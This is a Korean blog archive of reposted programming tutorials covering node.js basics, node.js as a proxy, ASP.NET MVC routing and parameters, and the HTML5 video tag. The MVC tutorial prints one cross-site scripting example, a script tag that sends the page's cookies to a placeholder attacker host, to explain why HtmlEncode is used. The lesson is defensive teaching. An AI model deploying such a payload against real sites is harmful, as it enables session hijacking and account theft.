posted by 방랑군 2012. 1. 5. 21:28
출처 : http://www.sir.co.kr/bbs/board.php?bo_table=pg_talk&wr_id=3697

 1. node.js 란
- 이건 구글링하면 많이 나오니까..
쉽게 말해서 서버 어플리케이션(웹포함)을 javascript로 만든다는 컨셉입니다.

- 그동안 자바스크립트는 웹브라우져를 컨트롤하는 client side language 였습니다.
특히 웹개발자에 서버개발은 어려운것으로 인식되어 왔습니다.
그에 반에 자바스크립트는 웹개발자에게 친숙한 언어죠.
웹개발에게 친숙한 자바스크립트 언어를 이용하여 서버프로그램을 개발하자는것
그것이 바로 node.js 입니다.
ps) 그래서 향후 5년간은 자바스크립트가 대세가 될거라고 봅니다.
한가지 언어로 서버-클라이언트를 모두 아우르게 됩니다.
첨언하자면, noSQL(이건 따로 정리해보겠음) 에서도 자바스크립트로 된것이 있습니다. couchDB
결국, 서버, DB, 클라이언트(웹) 3가지를 한가지 언어로 컨트롤 할수 있게 됩니다.
자바스크립트만 할줄 알면, 개발자 대우 받을수 있는거죠.
- 제가 본 사이트는
1) http://nodejs.org/
: 공식 사이트니까 반드시 방문해서 이것저것 봐야함
2) http://nodeguide.com/ (
: 공식 사이트는 아닌것 같은데, 기초에 대한 정리는 여기가 깔끔함
이렇게 개발하는게 좋다라는 식의 개발 가이드를 해줍니다. 필독!!
3) http://www.slideshare.net/rockdoli/what-is-nodejs-6751599
: slideshare.net 엔 정리된 프리젠테이션 자료들이 많습니다.
링크 문서와 연관된 node.js 자료들도 많으니 시간되시면 읽어보세요.
워낙 깔끔하게 정리해놓은 자료들이라 영어라도 별문제 없음
4) http://nodecasts.org/
: 동영상강의...

2. 준비사항
- node.js 는 이를 해석해주는 node 라는 실행파일이 있습니다.
기존에는 리눅스 계열만 배포했는데, 현재는 윈도우 계열도 배포합니다.(아 개발하기 편한 세상)
- 다운로드와 기본 사용법은 nodejs.org에서 참조바람




* 참고
1. ubuntu 11.x 에서 node 설치 (쉘에서 그냥 node 쳐보면 됨..아 쉽다.)
merong@ubuntu:~$ node
The program 'node' can be found in the following packages:
* node
* nodejs
Try: sudo apt-get install <selected package>
merong@ubuntu:~$ 

'PP > Node.js' 카테고리의 다른 글

자료 사이트 : step by step..  (0) 2012.01.07
node.js를 서비스에 활용하는 회사들.  (0) 2012.01.05
posted by 방랑군 2012. 1. 5. 21:24
출처 : http://cafe.naver.com/cloudfrontier.cafe?iframe_url=/ArticleRead.nhn%3Farticleid=191&

최근에 node.js에 관심을 가지면서 그 활용에 대한 예를 찾아보고 싶었습니다.

그러던 중에 node.js를 사용하는 회사들에 대한 아티클를 보게 되었습니다. (보기 : http://goo.gl/o39pD)
Yammer가 눈에 들어오네요. 역시, 많이 알려진 회사이기 때문이겠죠.
Yammer는 node.js를 proxy로 사용한다는 구문이 있네요. cross domain을 위한 방법이 기존에도 있었지만 (참고, Always Renewal 블로그) 이벤트 기반의 non-blocking 환경에 세션에 대한 리소스 비용을 적게 이용하는 node.js는 정말 proxy와 같은 환경에는 최적이라는 생각이 듭니다.
다른 회사들은 어떨까요? 트윗에 대한 필터링 크롬 익스텐션을 제공하는 Proxlet의 경우는 noSQL인 mongoDB와 node.js를 사용하네요. 특히, 속도에 집중하는 mongoDB와도 node.js는 찰떡궁합일 듯 합니다.

위에서 볼 수 있듯이 node.js의 장점은 분명 존재합니다. 단점으로 지적되는 아직 어린 환경을 극복하고 다양한 기능과 확장을 제공한다면 최근과 같이 서비스에 접근하는 단말이 기하급수적으로 늘어나는 환경에서 node.js는 상당히 선전을 할 수 있을 것이라고 생각되네요.

주.
proxy는 두가지 방식이 있습니다.
forward-proxy라고 불리는 방식과 reverse-proxy라고 불리는 방식입니다.
forward-proxy는 우리가 일반적으로 알고 있는 proxy방식으로 사용하는 단말에 proxy 서버를 설정하면 해당 서버를 통해 목적지로 이동하는 방식입니다.
reverse-proxy의 경우는 사용자는 아무 설정도 없지만 사용자가 proxy를 목적지로 알고 접근하면 그 사용자에 맞는 동작을 하는 진짜 목적지에서 정보를 받아서 반환하는 역할을 합니다.
proxy를 사용하는 다양한 이유가 있지만 익명성도 하나의 목적 중에 하나 입니다. 그런 측면에서는 최근에는토르 프로젝트라는 것이 있네요. 아직 정확하게 이해는 하지 못했지만 네트워크에 운영되는 시스템에 익명성을 줄 수 있는 프로젝트이고, 중국 등과 같이 검열이 심한 국가를 위해 지원도 하고 있다고 합니다.

 

'PP > Node.js' 카테고리의 다른 글

자료 사이트 : step by step..  (0) 2012.01.07
node.js 개발하기 STEP 0. 준비  (0) 2012.01.05
posted by 방랑군 2012. 1. 5. 19:02

 왠지 안쓸거 같더라니....


  • 방랑이 2012/01/04 21:10답글
    http://○○.com/컨트롤러명/액션명
    접근 방법 알수 있을까요? 참조 사이트라도.. 즉 url 을 위 처럼 쳤을때(http://localhost:14577/Rint/test2) 어떻게 
    Controllers/RintController.cs 의 test2 로 접근하게 되는지 알고 싶어요..
  • 린트 2012/01/04 21:51답글
    프로젝트 내의 파일 중 global.asax가 있을 것입니다.
    여기 보시면 RegisterRoutes() 메서드가 있습니다.
    URL 요청이 오면 RegisterRoutes() 메서드에서 등록한 형태를 찾아 직접적으로 쓰레드를 나누어 실행하게 됩니다. 'ㅂ' ㅎㅎ
  • 방랑이 2012/01/05 00:01답글
    그럼, mvc3 프로젝트가 아니더라도 일반 webapplication 이나 website 에서 global.asax 를 구현해 주고 controllers 만 따로 빼서 구현이 가능 한가요? 잠시 그 부분만 빼서 해당 어셈블을 참조하여 테스트 해보니 안되서요... 이 메카니즘만 따로 가질수 는 없는 건가요?
  • 린트 2012/01/05 00:05답글
    넹 기술을 MS가 숨기고 있으므로 별도로 빼서 볼 수는 없습니다ㅇㅂㅇㅎㅎ

'PP > ASP.NET MVC' 카테고리의 다른 글

[ASP.NET MVC3] 5. Controller의 기본 (2) 매개 변수 처리  (0) 2012.01.05
ASP.NET MVC3 - Razor 문법  (0) 2012.01.04
posted by 방랑군 2012. 1. 5. 00:24

vidia video element

현재 우리가 동영상을 접하게 되는 웹상의 플레이어들 (유튜브, 다음, 티스토리 등등) 의 대부분은 플래쉬 기반 포맷을 제공합니다

우리가 흔히 말하는 플짤도 플레쉬 짤방의 준말이죠, 그만큼 플래쉬를 이용한 동영상 플레이어가 차지하는 비중이 지대하다 할 수 있습니다

지금까지 동영상을 웹상에 적용하기 위해 object 나 embed 를 사용하여 플래쉬 또는 미디어플레이어 와 같은 플러그인을 이용해 왔는데

HTML 5 에서의 video 태그는 네이티브 태그로서 별도의 외부 프로그램의 도움없이 독립적인 방식으로 동영상을 재생하게 됩니다

동영상 플레이를 이유로 이유로 억지로 설치해야만 했던 액티브X와 같은 프로그램이나 플로그를 더이상 설치할 필요가 없다는 소리죠

HTML 5 에서 이와같은 태그를 선보인것은 보다 웹표준에 맞는 그에 근거하는 마크업을 위한 새로운 시도가 아닐까 합니다

우리나라의 경우는 다른 나라보다 플래시의 사용빈도가 현저히 월등한 수준이나 외국의 경우 플래시 기능을 지향하고

웹표준에 맞추어 이미지나 플래시 보다는 웹표준에 맞는 시멘틱 마크업을 적용해 나가고 있습니다

우리나라에서도 조금씩 웹표준에 맞는 마크업을 시도하는 추세로 HTML 5 이 나옴과 동시에

보다 명확한 웹표준 마크업을 위해 발전해 나가고 있다고 생각합니다

1 video

액티브X나 <embed>,<object>의 사용없이 간편하게 동영상을 재생할 수 있는 기능으로

기본적인 비디오 엘리먼트의 속성 및 값은 다음과 같습니다

속성 (Attribute)

값 (Value)

설명 (Description)

N controls

Boolean (true/false)

각 브라우저 고유의 컨트롤 바를 표시

N autoplay

Boolean (true/false)

동영상 파일이 로드되는 즉시 자동으로 재생

N loop

Boolean (true/false)

동영상 재생이 끝나면 처음부터 다시 반복, 반복 재생 획수 지정

N src

URL

동영상 파일의 경로를 지정

N poster

IMG URL

재생할 동영상이 로드 중이거나 버퍼링 중일때 보여질 이미지

N preload

Auto,

None,

Metadata

동영상 파일을 다운로드하여 재생하게끔 하는 방식

auto - 자동으로 다운로드

none - 사용자가 컨트롤을 조작하지 전까지 다운금지

metadata - 메타데이터를 가져오며 사용자가 컨트롤을 조작하면 실제 비디오 부분을 다운

N width

Pixels

재생할 동영상의 가로(넓이) 크기

N height

Pixels

재생할 동영상의 세로(높이) 크기

N 아이콘으로 표시된 항목은 HTML5부터 추가된 속성(애트리뷰트)들 입니다.


다음은 HTML 5 를 사용함에 있어 아직 해결하지 못한 코덱에 관한 문제들입니다


브라이저 (Browser)

H.264 + AAC + MP4

WebM

Theora + Vorbis + Ogg

파이어폭스 3.6

오페라 10.63

구글 크롬 8.0

애플 사파리 5.0.3 (with 쿽타임)

마이크로 소프트 익스 9 beta


브라우저마다 사용하는 코덱은 다음과 같습니다


브라이저 (Browser)

코덱 (Codec)

Microsoft + Apple

H.264 Codec

Firefox + Opera

Ogg Theora Format

Google

VP8 Video Codec

현재 주 대표 브라우저들이 자체 비디오 코덱을 사용하고 있기때문에 그야말로 표준 코덱이 존재하지 않습니다

하여 각 브라우저마다 사용하는 비디오 코덱이 다릅니다 video 태그가 생겨났다고 해도 코덱에 관한 문제가 아직도 남아있다는 말이 됩니다

2 기본적인 비디오 태그 작성법

<video src="동영상 URL" preload="false" width="480" height="360"></video>

여기서 중요한 점은 각 크로스브라우저의 비디오 태그의 사용법에 대한 내용입니다

말씀드렸듯이 각 브라우저마다 사용하는 코덱이 다르기 때문에 각 브라우저에 맞는 태그를 사용하셔야 합니다

<!DOCTYPE HTML>
<html lang="ko">
<head>
<meta charset="UTF-8">
<title>HTML 5 Video 예제</title>
</head>
<body>
<video width="320" height="240" controls="controls">
<source src="http://www.w3schools.com/html5/movie.mp4" type="video/mp4" /> <!-- Microsoft + Apple -->
<source src="http://www.w3schools.com/html5/movie.webm" type="video/webm" /> <!-- Google -->
<source src="http://www.w3schools.com/html5/movie.ogg" type="video/ogg" /> <!-- Firefox + Opera -->
<p>Your browser does not support the video tag.</p>
</video>
</body>
</html>

[★] 알아두면 유용한 사이트 HTML5 Video elements

http://videojs.com
http://www.html5video.org
http://www.diveintohtml5.org/video.html



'PP > HTML5' 카테고리의 다른 글

HTML5 가이드  (0) 2012.01.04
HTML5 가이드  (0) 2012.01.04
posted by 방랑군 2012. 1. 5. 00:06

출처 : http://blog.naver.com/empty_wagon?Redirect=Log&logNo=20147480185 

강에서 ASP.NET MVC의 주소는 다음과 같은 스타일로 된다고 말씀을 드렸었습니다.

 

컨트롤러 이름/함수 이름/id?param=value

 

이제 이 id와 id 뒤에 '?'로 시작하는 내용들에 대해서 이야기를 하도록 하겠습니다.

 

 

어디서 이런 주소 방식이 정해졌을까?

 

위의 주소 형식은 Global.asax 파일에 아래와 같은 코드로 정의되어 있습니다.

 

public static void RegisterRoutes(RouteCollection routes)

{

    routes.IgnoreRoute("{resource}.axd/{*pathInfo}");

 

    routes.MapRoute(

        "Default"// Route name

        "{controller}/{action}/{id}"// URL with parameters

        new { controller = "Home", action = "Index", id = UrlParameter.Optional } // Parameter defaults

    );

 

}

 

진하게 표시한 줄에 보시면 익숙한 내용이 보이실 것입니다. 이 부분을 수정하면, 주소 방식을 마음대로 고칠 수 있습니다. 이 부분에 대해서는 나중에 알아보겠습니다.

 

 

그냥 값 넣어 보기

 

우선은 그냥 값을 넣어 봤습니다.

 

주소창에 localhost:port/Home/Hello/1을 입력해 보았습니다. 딱히 큰 문제가 없이 잘 나옵니다.

 

 

하지만 이런 주소 방식을 선택한 것은 1이라는 숫자를 활용하기 위해서입니다. 이제 1이 들어왔음을 확인해 주기 위해 Hello 함수를 변경하겠습니다.

 

public string Hello(int id)

{

    return "Hello function with id " + id;

}

 

이제 다시 위 주소를 실행하면, 다음과 같이 잘 나옵니다.

 

그런데 이 때 함수를 변경해 주지 않고, 그냥 오버라이딩했으면 어떤 일이 벌어졌을까요?

 

다음과 같은 에러 창을 만나게 됩니다.

 

 

Hello 함수가 두 개인데다가, id는 없어도 되는 변수라서 무슨 함수 불러야 할 지 모르겠다는 뜻입니다.

 

그럼 id가 없을 때에는 기존의 "Hello, HomeController Hello function!"을 출력해 주고, 있을 때에는 "Hello function with id [숫자]"임을 알려 주려면 어떻게 해야 할까요?

 

다음과 같이 int 뒤에 ?를 붙여 주시면 됩니다. 이 때 id에 값이 없으면 id에 null이 들어가게 됩니다.

 

완성된 함수는 다음과 같이 생겼습니다.

 

public string Hello(int? id)

{

    if (id == null)

    {

        return "Hello, HomeController Hello function!";

    }

    return "Hello function with id " + id;

}

 

 

없을 때와 있을 때가 다 각각 잘 나옵니다.

 

 

변수 여러 개 주기

 

id 뒤에도 원하는 정보를 붙이실 수 있습니다.

 

?를 추가해서 원하는 정보를 줄 수 있습니다.

 

우선 Hello함수를 아래와 같이 변경합니다.

 

public string Hello(int? id, string param)

{

    string result = "";

    if (id == null)

    {

        result = "Hello, HomeController Hello function!";

    }

    else

    {

        result = "Hello function with id " + id;

    }

 

    if (param != null)

    {

        string paramString = "param is " + param;

        result += " " + paramString;

    }

 

    return HttpUtility.HtmlEncode(result);

}

 

param이라는 문자열 형의 변수가 추가되었고, param의 내용을 결과에 추가해 주고 있습니다. 그리고 HttpUtility.HtmlEncode라는 함수를 쓰고 있는데 이 함수에 대해서는 강좌 끝부분에서 이야기하겠습니다.

 

주소를 쳐 보면 잘 나옵니다.

 

param을 없애도 잘 됩니다.

 

id를 없애도 잘 됩니다.

 

http://localhost:50373/Home/Hello?param=hello&odd=oddvalue 같이 이상한 주소를 줘도 잘 처리합니다.

 

 

HTTPUtility.EncodeHtml이 뭔가요?

 

웹에는 보안의 문제가 참 많이 있습니다. 대개의 경우 공격자는 만든 사람이 예상하지 못하는 이상한 값을 넣어서 자신이 원하는 결과를 얻고자 합니다.

 

이 원하는 결과를 위해서 입력 값에 코드를 집어 넣습니다. 지금 우리 param 값에도 JavaScript 코드가 들어갈 수 있습니다. 예를 들자면 다음과 같은 것입니다.

 

<script> document.location='http://hacker.web.site/cookie.php?' + document.cookie</script>

 

이 문서의 쿠키를 빼 가는 코드입니다. Cookie가 인증과 관련이 깊을 경우에는 이 쿠키를 빼 가서 심한 경우에는 관리자 노릇을 할 지도 모르는 일입니다.

 

이 때 이 <> 값을 ;lt, ;gt등으로 바꿈으로써 이런 공격을 막기 위해HTTPUtility.EncodeHtml을 사용합니다.

 

 

복습 문제

 

Hello 함수가 param2라는 값을 받아서 처리할 수 있도록 만드시오.

 

'PP > ASP.NET MVC' 카테고리의 다른 글

지랄 같은 MVC  (0) 2012.01.05
ASP.NET MVC3 - Razor 문법  (0) 2012.01.04